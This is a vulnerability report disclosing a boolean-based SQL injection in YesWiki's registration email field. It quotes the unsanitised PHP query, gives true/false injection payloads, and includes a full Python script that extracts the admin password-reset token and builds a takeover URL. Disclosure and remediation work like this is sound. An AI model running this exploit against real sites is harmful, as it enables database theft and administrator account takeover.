SQL Injection in yeswiki/yeswiki
Reported on
Oct 19th 2021
Description
A boolean-based SQL Injection vulnerability has been found in the email parameter of the registration form. When a new user registers, the application first checks if the email exists through the emailExistsInDB function located in line 999 of the User.class.php. As you can see, it does not make use of mysqli_real_escape_string or any other sanitization method on user input.
protected function emailExistsInDB($email)
{
/* Build sql query*/
$sql = 'SELECT * FROM '.$this->usersTable;
$sql .= ' WHERE email = "'.$email.'";';
/* Execute query */
$results = $this->wiki->loadAll($sql);
return $results; // If the password does not already exist in DB, $result is an empty table => false
}
Proof of Concept
- Register a new user with any email address () via Sign Up Form.
- Return to user registration, enter the same email address from step 1 and intercept the request (you can use Burp Suite Community.
- Modify the value of the email parameter with the following payloads:
3.1 TRUE --> Payload
[EMAIL-STEP-1]"+AND+1=1#--> ReturnThe specified email is allready in use on this wiki3.1 FALSE --> Payload[EMAIL-STEP-1]"+AND+1=2#--> ReturnThis is not a valid email address
Exploit python code to extract md5 value to reset admin password (previously you must request the change in the form "I forgot my password")
#Author: @jjavierolmedo - hackpuntes.com
#Reset WikiAdmin Password via SQL Injection
import sys, requests
proxies = {'http':'','https':''}
def get_sqldata(ip):
query = "select value from yeswiki_triples where resource='WikiAdmin'"
extracted = ""
i=1
while True:
injection = '" AND ascii(substring(({query}),{i},1))=[CHAR]#'.format(query=query, i=i)
retrieved_value = get_char(ip, injection)
if(retrieved_value):
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
print(" done!")
break
i += 1
return extracted
def get_char(ip, injection):
validation = "The specified email is allready in use on this wiki"
for i in range(32, 126):
url = "{ip}/?ParametresUtilisateur".format(ip=ip)
chart = injection.replace("[CHAR]", str(i))
data = {
"usersettings_action":"signup",
"name":"test",
"email":'test@test.com' + chart,
"password":"123456",
"confpassword":"123456"
}
r = requests.post(url, data=data, proxies=proxies, verify=False)
if(validation in r.text):
return i
return None
def main():
if len(sys.argv) != 2:
print("[!] Usage: python {script} <IP>".format(script=sys.argv[0]))
print("[!] Example: python {script} http://yeswiki.test".format(script=sys.argv[0]))
exit()
ip = sys.argv[1]
admintoken = get_sqldata(ip)
print("[+] Use this URL to reset Admin Password: {ip}/?MotDePassePerdu&a=recover&email={admintoken}&u=V2lraUFkbWlu".format(ip=ip, admintoken=admintoken))
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] User aborted session\n")
exit()
Impact
A malicious user could access any information in the database used by the application.
Remediation
Sanitize the user input, e.g., make use of the mysqli_real_escape_string
Occurrences
User.class.php L1003
$sql .= ' WHERE email = "'.mysqli_real_escape_string($email).'";';